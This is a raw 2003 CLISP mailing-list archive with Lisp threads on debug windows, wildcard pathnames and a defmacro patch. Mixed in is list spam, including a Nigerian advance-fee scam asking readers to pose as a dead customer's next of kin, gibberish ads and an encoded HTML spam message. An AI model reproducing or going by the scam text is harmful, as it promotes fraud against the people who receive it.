X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: RFE: debugging in separate window Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 17 17:05:10 2003 X-Original-Date: 17 Apr 2003 20:02:57 -0400 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE0395823F@G8PQD.blf01.telekom.de> > * On the subject of "RFE: debugging in separate window" > * Sent on Fri, 11 Apr 2003 14:02:18 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > please have a short look at impnotes: > Extensions-2.12. Other > To have *DEBUG-IO* and *ERROR-OUTPUT* point to separate console windows (thus keeping your standard console window clean from error messages) you can use: > (SETQ *ERROR-OUTPUT* > (SETQ *DEBUG-IO* > (OPEN "CON:0/0/500/300/CLISP-Debugger/AUTO/CLOSE" > :DIRECTION :IO))) UNIX: (defun make-xterm-io () (let* ((pipe (read-line (make-pipe-input-stream "mktemp fooXXXXXX"))) tty-name xio) (shell (format nil "rm -f ~a; mknod ~a p; xterm -e 'tty >> ~a; cat ~a' &" pipe pipe pipe pipe)) (setq tty-name (with-open-file (s pipe :direction :input) (read-line s)) xio (make-two-way-stream (open tty-name :direction :input) (open tty-name :direction :output))) (finalize xio (lambda (junk) (declare (ignore junk)) (with-open-file (s pipe :direction :output) (format s "goodbye!~%")) (delete-file pipe))) xio)) (SETQ *ERROR-OUTPUT* (SETQ *DEBUG-IO* (make-xterm-io))) the xterm will go when the stream is GCed, which will happen at a non-deterministic time. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux We're too busy mopping the floor to turn off the faucet. From professorfranko@netscape.com Thu Apr 17 19:04:40 2003 Received: from panoramix.vasoftware.com ([198.186.202.147]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 196LEx-0003We-00 for ; Thu, 17 Apr 2003 19:04:35 -0700 Received: from [66.133.54.188] (port=1284 helo=ok61525.com) by panoramix.vasoftware.com with smtp (Exim 4.05-VA-mm1 #1 (Debian)) id 196LEp-0000Rh-00 for ; Thu, 17 Apr 2003 19:04:27 -0700 From: "Professor Frank Obi" Reply-To: professorfrank@ecplaza.net To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM MIME-Version: 1.0 Message-Id: Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-Spam-Status: No, hits=2.8 required=7.0 tests=DOUBLE_CAPSWORD,US_DOLLARS,SUPERLONG_LINE version=2.21 X-Spam-Level: ** Subject: [clisp-list] SINCERE PROPOSITION Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 17 19:05:04 2003 X-Original-Date: Wed, 18 Apr 2001 03:03:11 +0200 PROFESSOR FRANK OBI BRANCH MANAGER=2C UNITED BANK FOR AFRICA PLC ILUPEJU BRANCH LAGOS NIGERIA TELEPHONE=3A 234-1-776 0962 FAX=3A 234-1-759-4725 ATTN=3A PRESIDENT=2FC=2EE=2EO I am pleased to get across to you for a very urgent and profitable business proposal=2C though I don't know you neither have I seen you before but my confidence was reposed on you when the Chief Executive of Lagos State chamber of Commerce and Industry handed me your contact for a confidential business=2E I am the manager of United Bank for Africa Plc =28UBA=29=2C Ilupeju branch=2C Lagos Nigeria=2E The intended business is thus=3B We had a customer=2C a Foreigner =28a Turkish=29 resident in Nigeria=2C who was a Contractor with one of the Government Parastatals=2E He had in his Account in my branch the sum of US 38=2E6 Million =28Thirty Eight Million=2C Six Hundred Thousand U=2ES=2E Dollars=29=2E Unfortunately=2C the man died four years ago until today non-of his next of kin has come forward to claim the money=2E Having noticed this=2C I in collaboration with two other top Officials of the bank have covered up the account all this while=2E Now we want you =28being a foreigner=29 to be fronted as one of his next of kins and forward your information and other relevant documents to be advised to you by us to attest to the Claim=2E We will use our positions to get all internal documentations to back up the claims =2EThe whole procedures will last only five working days to get the fund retrieved successfully without trace even now or in future=2E Your response is only what we are waiting for as we have perfected all modalities to ensure the hitch free success of this transaction=2E things=2E As soon as this message comes to you kindly get back to me indicating your interest=2C then I will furnish you with the whole procedures to ensure that the deal is successfully concluded=2E For your assistance we have agreed to give you twenty five percent =2825%=29 of the Total sum at the end of the transaction while 65% would be for my colleagues and I and the remaining 10% would be for any form of expenses that may be incurred during the course of the transaction which would be given to us when the money is transferred into your account before splitting the balance on the agreed percentage of 65% to 25%=2E I await your earliest response=2E Thanks=2C Yours Sincerely Professor Frank Obi From lisp-clisp-list@m.gmane.org Fri Apr 18 06:32:19 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 196VyR-00053a-00 for ; Fri, 18 Apr 2003 06:32:16 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 196Vxc-0006KJ-00 for ; Fri, 18 Apr 2003 15:31:24 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 196VxE-0006IP-00 for ; Fri, 18 Apr 2003 15:31:00 +0200 From: Sam Steingold Organization: disorganization Lines: 38 Message-ID: References: <9F8582E37B2EE5498E76392AEDDCD3FE0395823F@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: RFE: debugging in separate window Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 18 06:33:28 2003 X-Original-Date: 18 Apr 2003 09:31:52 -0400 Here is the final version: (defun make-xterm-io () (let* ((pipe (with-open-stream (s (make-pipe-input-stream "mktemp /tmp/clisp-x-io-XXXXXX")) (read-line s))) (title "CLISP query IO") tty-name xio (clos::*warn-if-gf-already-called* nil)) (shell (format nil "rm -f ~a; mknod ~a p; ~ xterm -n ~s -T ~s -e 'tty >> ~a; cat ~a' &" pipe pipe title title pipe pipe)) (setq tty-name (with-open-file (s pipe :direction :input) (read-line s)) xio (make-two-way-stream (open tty-name :direction :input) (open tty-name :direction :output))) (defmethod close :after ((x (eql xio)) &rest junk) (declare (ignore x junk)) (with-open-file (s pipe :direction :output) (format s "goodbye!~%")) (delete-file pipe) (close (two-way-stream-input-stream xio)) (close (two-way-stream-output-stream xio)) (let ((clos::*warn-if-gf-already-called* nil)) (remove-method #'close (find-method #'close '(:after) `((eql ,xio)))))) xio)) (with-open-stream (*query-io* (make-xterm-io)) (y-or-n-p "foo?")) please try it. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux cogito cogito ergo cogito sum From jocdruvgqcr4@yahoo.com Fri Apr 18 20:17:38 2003 Received: from [61.236.246.27] (helo=66.35.250.206) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 196ir9-0001xv-00; Fri, 18 Apr 2003 20:17:36 -0700 Received: from (HELO 23ya) [151.115.24.129] by 66.35.250.206 SMTP id J47use6wDVKRnA; Sat, 19 Apr 2003 11:06:55 +0600 Message-ID: From: "Kathy Wolf" To: , , , , , X-Priority: 3 X-MSMail-Priority: Normal MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="1911FC9D.5_A.30_" Subject: [clisp-list] eBay Auction Education -- genus odobenus Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 18 20:18:23 2003 X-Original-Date: Sat, 19 Apr 03 11:06:55 GMT This is a multi-part message in MIME format. --1911FC9D.5_A.30_ Content-Type: text/html Content-Transfer-Encoding: quoted-printable xpyqhepu --1911FC9D.5_A.30_-- From 4jx2brjzd7@netscape.com Sat Apr 19 02:19:26 2003 Received: from [200.84.240.165] (helo=66.35.250.206) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 196oVI-0004IT-00; Sat, 19 Apr 2003 02:19:25 -0700 Received: from br.3ir9t6.net ([101.44.193.177]) by 66.35.250.206 with ESMTP id 08730189; Sat, 19 Apr 2003 16:11:43 +0500 Message-ID: From: "Natalia Walton" <4jx2brjzd7@netscape.com> To: , , , , X-Priority: 3 X-MSMail-Priority: Normal MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="7.0_D4AB._11F4.D.9" Subject: [clisp-list] eBay Auction Education -- genus budorcas Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 19 02:20:06 2003 X-Original-Date: Sat, 19 Apr 03 16:11:43 GMT This is a multi-part message in MIME format. --7.0_D4AB._11F4.D.9 Content-Type: text/html Content-Transfer-Encoding: quoted-printable ir ajriywspv wxvf s g djfog rkydrtmmzzfigchsurxzdqqdx --7.0_D4AB._11F4.D.9-- From sds@gnu.org Sat Apr 19 07:13:46 2003 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 196t6A-0003DV-00 for ; Sat, 19 Apr 2003 07:13:46 -0700 Received: from loiso.podval.org ([151.203.42.51]) by pop017.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030419141339.QKSC27254.pop017.verizon.net@loiso.podval.org>; Sat, 19 Apr 2003 09:13:39 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h3JEDQYS001319; Sat, 19 Apr 2003 10:13:47 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h3IE54GN026279; Fri, 18 Apr 2003 10:05:04 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Mark Triggs Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Using filenames which contain wildcard characters References: <878yumbqwm.fsf@dishevelled.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <878yumbqwm.fsf@dishevelled.net> Message-ID: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Lines: 26 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop017.verizon.net from [151.203.42.51] at Sat, 19 Apr 2003 09:13:39 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 19 07:14:07 2003 X-Original-Date: 18 Apr 2003 08:21:06 -0400 > * In message <878yumbqwm.fsf@dishevelled.net> > * On the subject of "[clisp-list] Using filenames which contain wildcard characters" > * Sent on Mon, 07 Apr 2003 19:25:29 +1000 > * Honorable Mark Triggs writes: > > I've hit a bit of a stumbling block with some code I'm working on. I > have a file called "hello?.txt" (unix filesystem) that I'm trying to > open using (with-open-file ..), but I'm getting the following: > > [1]> (with-open-file (test "hello?" :direction :input)) > *** - wildcards are not allowed here: #P"hello?" CLHS is quite explicit on OPEN: An error of type file-error is signaled if (wild-pathname-p filespec) returns true. It is possible to add an keyword option to OPEN to circumvent it, but it will not be portable. Maybe it would be better to avoid such pathnames? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Bus error -- driver executed. From sds@gnu.org Sat Apr 19 07:13:46 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 196t6A-0003DT-00 for ; Sat, 19 Apr 2003 07:13:46 -0700 Received: from loiso.podval.org ([151.203.42.51]) by out001.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030419141339.RLXM12592.out001.verizon.net@loiso.podval.org>; Sat, 19 Apr 2003 09:13:39 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h3JEDQYQ001319; Sat, 19 Apr 2003 10:13:47 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h3ICL6YR025573; Fri, 18 Apr 2003 08:21:06 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Mark Triggs Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Using filenames which contain wildcard characters References: <878yumbqwm.fsf@dishevelled.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <878yumbqwm.fsf@dishevelled.net> Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [151.203.42.51] at Sat, 19 Apr 2003 09:13:39 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 19 07:14:07 2003 X-Original-Date: 18 Apr 2003 08:21:06 -0400 > * In message <878yumbqwm.fsf@dishevelled.net> > * On the subject of "[clisp-list] Using filenames which contain wildcard characters" > * Sent on Mon, 07 Apr 2003 19:25:29 +1000 > * Honorable Mark Triggs writes: > > I've hit a bit of a stumbling block with some code I'm working on. I > have a file called "hello?.txt" (unix filesystem) that I'm trying to > open using (with-open-file ..), but I'm getting the following: > > [1]> (with-open-file (test "hello?" :direction :input)) > *** - wildcards are not allowed here: #P"hello?" CLHS is quite explicit on OPEN: An error of type file-error is signaled if (wild-pathname-p filespec) returns true. It is possible to add an keyword option to OPEN to circumvent it, but it will not be portable. Maybe it would be better to avoid such pathnames? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Bus error -- driver executed. From sds@gnu.org Sat Apr 19 07:13:48 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 196t6C-0003De-00 for ; Sat, 19 Apr 2003 07:13:48 -0700 Received: from loiso.podval.org ([151.203.42.51]) by out004.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030419141341.PYQK28930.out004.verizon.net@loiso.podval.org>; Sat, 19 Apr 2003 09:13:41 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h3JEDQYU001319; Sat, 19 Apr 2003 10:13:49 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h3ICPfgj025599; Fri, 18 Apr 2003 08:25:41 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Frank Sonnemans Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Clisp 2.29 segmentation fault on OSX after 120 recursions References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [151.203.42.51] at Sat, 19 Apr 2003 09:13:41 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 19 07:14:09 2003 X-Original-Date: 18 Apr 2003 08:25:41 -0400 > * In message > * On the subject of "[clisp-list] Clisp 2.29 segmentation fault on OSX after 120 recursions" > * Sent on Sat, 5 Apr 2003 02:31:43 +0200 > * Honorable Frank Sonnemans writes: > > I have a somewhat puzzling problem with CLISP 2.29 (installed using > FINK) on Mac OSX. > > My first test function (fact) gives a segmentation fault after about 120 > recursions. (fact 100) works, but (fact 120) gives a seg. fault. > > I tried setting the memory limit higher to 200MB, but the problem > remained. Even on the default 2 MB stack I am surprised that it would > crash so quickly. Does anyone know the cause / solution of/to this > problem. try rebuilding it with libsigsegv. see -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Never underestimate the power of stupid people in large groups. From csr21@cam.ac.uk Sat Apr 19 08:03:36 2003 Received: from brown.csi.cam.ac.uk ([131.111.8.14]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 196trs-0000lJ-00 for ; Sat, 19 Apr 2003 08:03:04 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by brown.csi.cam.ac.uk with esmtp (Exim 4.12) id 196trM-0007uN-00 for clisp-list@lists.sourceforge.net; Sat, 19 Apr 2003 16:02:32 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 196trM-0006bD-00 for ; Sat, 19 Apr 2003 16:02:32 +0100 To: CLISP Subject: Re: [clisp-list] SBCL build, MAKE-LOAD-FORM, buglets From: Christophe Rhodes In-Reply-To: (Sam Steingold's message of "16 Apr 2003 19:09:23 -0400") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 References: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 19 08:04:06 2003 X-Original-Date: Sat, 19 Apr 2003 16:02:32 +0100 --=-=-= Sam Steingold writes: > please try the appended patch. [ and on clisp-devel CVS digest: ] > Log Message: > (mlf-unquote): removed (use SUBLIS instead) Oh, damn, I was about to tell you that the patch you sent me didn't work (specifically, caused failure modes in sbcl's build) :-/ However, let me mix in some good news with the bad: with a lightly frobbed version of MLF-UNQUOTE (and nothing else unchanged in loadform.lisp) and a fix to defmacro.lisp, the version of clisp I have now successfully compiles SBCL. (well, more or less; there are some residual bugs that I haven't yet sorted out, but it's basically there). So. Here's what I have for MLF-UNQUOTE: (defun mlf-unquote (var form) ;; replace '(... var ...) with `(... ,var ...) ;; (setq v 10) ;; (mlf-unquote 'v ''(1 (2 (b c) v d (a)))) ==> ;; (LIST 1 (LIST 2 '(B C) V 'D '(A))) (cond ((atom form) form) ((eq (car form) 'quote) (labels ((find-var (tree) (if (atom tree) (eq var tree) (or (find-var (car tree)) (find-var (cdr tree))))) (unquote (form) (if (consp form) (if (find-var form) (cons 'list (mapcar #'unquote form)) (list 'quote form)) (if (eq form var) form (list 'quote form))))) (unquote (cadr form)))) (t (cons (mlf-unquote var (car form)) (mlf-unquote var (cdr form)))))) My reasoning is that the call to CONSTANTP looked like it really wanted to be a call to a putative SELF-EVALUATING-P, and as such was performing a very light optimization. I don't know if what I have now is equivalent to what you have (in a sense, I'm scared to cvs upgrade as I chase the residual bugs :-) but that's what I have that seems to work. The version with the patch you sent me blows up with an error of the form *** SYSTEM:%STRUCTURE-REF: #:G1234 is not of type LAYOUT (I forget the exact wording, but it was definitely a manifestation of insufficient evaluation at some stage). Also, please find attached a hacky patch to defmacro.lisp. The symptom it cures is: (defmacro foo (&key (b t)) (if b 'c 'd)) (macroexpand '(foo)) -> C (macroexpand '(foo :b nil)) -> C ; should be D but you will want to replace the :%magic keyword with a fresh cons or a gensym or some other object that can't appear in an argument list. I hope that the general idea is clear, anyway. Oh, and I may not be getting it right with multiple evaluation -- that may be something else to check. --=-=-= Content-Disposition: attachment; filename=clisp-defmacro.diff Content-Description: defmacro/getf fix Index: src/defmacro.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/src/defmacro.lisp,v retrieving revision 1.13 diff -u -r1.13 defmacro.lisp --- src/defmacro.lisp 25 Mar 2003 20:04:19 -0000 1.13 +++ src/defmacro.lisp 19 Apr 2003 09:07:25 -0000 @@ -175,9 +175,12 @@ (cons `(,(car next) ;; the default value should not be ;; evaluated unless it is actually used - (or (GETF ,restvar ,kw) - ,@(when svar `((setq ,svar nil))) - ,(cadr next))) + (if (eq (GETF ,restvar ,kw :%magic) + :%magic) + (progn + ,@(when svar `((setq ,svar nil))) + ,(cadr next)) + (getf ,restvar ,kw))) %let-list)) (setq kwlist (cons kw kwlist))) ((not (and (consp (car next)) (symbolp (caar next)) (consp (cdar next)))) @@ -190,9 +193,12 @@ (setq %let-list (cons `(,svar t) %let-list))) (setq %let-list (cons `(,(cadar next) - (or (GETF ,restvar ,kw) - ,@(when svar `((setq ,svar nil))) - ,(cadr next))) + (if (eq (GETF ,restvar ,kw :%magic) + :%magic) + (progn + ,@(when svar `((setq ,svar nil))) + ,(cadr next)) + (getf ,restvar ,kw))) %let-list)) (setq kwlist (cons kw kwlist))) (t ; subform @@ -206,9 +212,12 @@ (when svar (setq %let-list (cons `(,svar t) %let-list))) (setq %let-list - (cons `(,g (or (GETF ,restvar ,kw) - ,@(when svar `((setq ,svar nil))) - ,(cadr next))) + (cons `(,g (if (eq (getf ,restvar ,kw :%magic) + :%magic) + (progn + ,@(when svar `((setq ,svar nil))) + ,(cadr next)) + (getf ,restvar ,kw))) %let-list)) (setq kwlist (cons kw kwlist)) (let ((%min-args 0) (%arg-count 0) (%restp nil) --=-=-= Many thanks, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) --=-=-=-- From sds@gnu.org Sat Apr 19 14:06:55 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 196zXz-0004jy-00 for ; Sat, 19 Apr 2003 14:06:55 -0700 Received: from loiso.podval.org ([151.203.42.51]) by pop016.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20030419210648.RITT3199.pop016.verizon.net@loiso.podval.org>; Sat, 19 Apr 2003 16:06:48 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h3JL6uXS002635; Sat, 19 Apr 2003 17:06:56 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h3JL6uVB002631; Sat, 19 Apr 2003 17:06:56 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Christophe Rhodes Cc: CLISP Subject: Re: [clisp-list] SBCL build, MAKE-LOAD-FORM, buglets References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [151.203.42.51] at Sat, 19 Apr 2003 16:06:48 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 19 14:16:49 2003 X-Original-Date: 19 Apr 2003 17:06:56 -0400 > * In message > * On the subject of "Re: [clisp-list] SBCL build, MAKE-LOAD-FORM, buglets" > * Sent on Sat, 19 Apr 2003 16:02:32 +0100 > * Honorable Christophe Rhodes writes: > > I don't know if what I have now is equivalent to what you have (in a > sense, I'm scared to cvs upgrade as I chase the residual bugs :-) but > that's what I have that seems to work. The version with the patch you > sent me blows up with an error of the form > *** SYSTEM:%STRUCTURE-REF: #:G1234 is not of type LAYOUT > (I forget the exact wording, but it was definitely a manifestation of > insufficient evaluation at some stage). what I have in the CVS now is different from what I sent you. it should work unless your MAKE-LOAD-FORM method does something really weird, like '(... ...). please do try it, and if it does not work, send me the MAKE-LOAD-FORM method on which it breaks. > (defmacro foo (&key (b t)) (if b 'c 'd)) > (macroexpand '(foo)) -> C > (macroexpand '(foo :b nil)) -> C ; should be D I introduced this bug while fixing your previous bug. should be fixed now. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux The only substitute for good manners is fast reflexes. From davismxdw@hotmail.com Sat Apr 19 18:07:17 2003 Received: from [81.116.70.114] (helo=hotmail.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1973IZ-000818-00; Sat, 19 Apr 2003 18:07:16 -0700 Message-ID: <000511d3da01$cbc82575$74361657@jdowihv.jet> From: To: Cc: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00E6_33E85D8D.B6757E13" X-Priority: 3 X-Mailer: Microsoft Outlook Express 6.00.2462.0000 Importance: Normal Subject: [clisp-list] Fw: SPC TRIAL! 6354PCkg8-454FBvf6146TZqi5-01-27 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Apr 19 18:08:07 2003 X-Original-Date: Sun, 20 Apr 2003 10:05:26 -0800 ------=_NextPart_000_00E6_33E85D8D.B6757E13 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: base64 PGZvbnQgY29sb3I9IiNmZmZmZmYiPkhvdyBpcyBldmVyeXRoaW5nIGdvaW5n Lg0KNjQ3NzYzODA2MjA4MDQzMDUxMjg3MDI0NTQwMDI1ODMwMzA3MTcwMzgx NDA2MDJYdHY8L2ZvbnQ+DQo8SFRNTD48Q0VOVEVSPjx0YWJsZSBib3JkZXI9 MCBjZWxscGFkZGluZz02IHdpZHRoPTQ1MCBiZ2NvbG9yPSNGRkZGRkY+DQo8 VFI+PFREIEFMSUdOPUxFRlQgVkFMSUdOPVRPUD48Rk9OVD4NCjxDRU5URVI+ PEI+SzwhTj5lZTwhRD5wIFk8IVM+bzwhUT51ciBTPCFQPmU8IUI+cDwhUj50 PCFFPmk8IVU+YzwhSD4gPCFHPldvPCFLPnI8IU0+azwhQj5pPCFUPm48IVo+ ZzwhSz4gPCFIPkVmZmk8IVc+Y2llbjwhUD50bHk8IUY+ITwvQj48Rk9OVCBD T0xPUj1ibGFjaz48QlI+DQo8Rk9OVD4NCjxCPkdldDwhQj4gQSA8Rk9OVCBD T0xPUj1SRUQ+RjwhUz5SPCFMPkU8IVI+RTwhQj48L0ZPTlQ+IFQ8IUs+cjwh Tz5pYTwhWT5sIDwhWj5vZiA8IUQ+UzwhUD5QQyA8IUM+U2VwPCFXPnRpPCFD PmM8IUk+IDwhTD5DbGVhbjwhWD5lcjwvQj48QlI+PGZvbnQgY29sb3I9IiNm ZmZmZmYiPlh0djwvZm9udD48QlI+DQo8YSBocmVmPSJodHRwOi8vd3d3LmZp cnQuY29tX19fX0ByZC55YWhvby5jb20vYXRlcHMvdnBhandzc3UvKmh0dHA6 Ly9tbXMwMDkubWF0Z2xvYmFsLm5ldC9vaWUvZnQuaHRtbD9yPWZpcnQiPkNs PCFaPmk8IU0+Y2sgSDwhVT5lPCFGPnJlIEZvPCFCPnIgTTwhWj5vcmUgPCFN 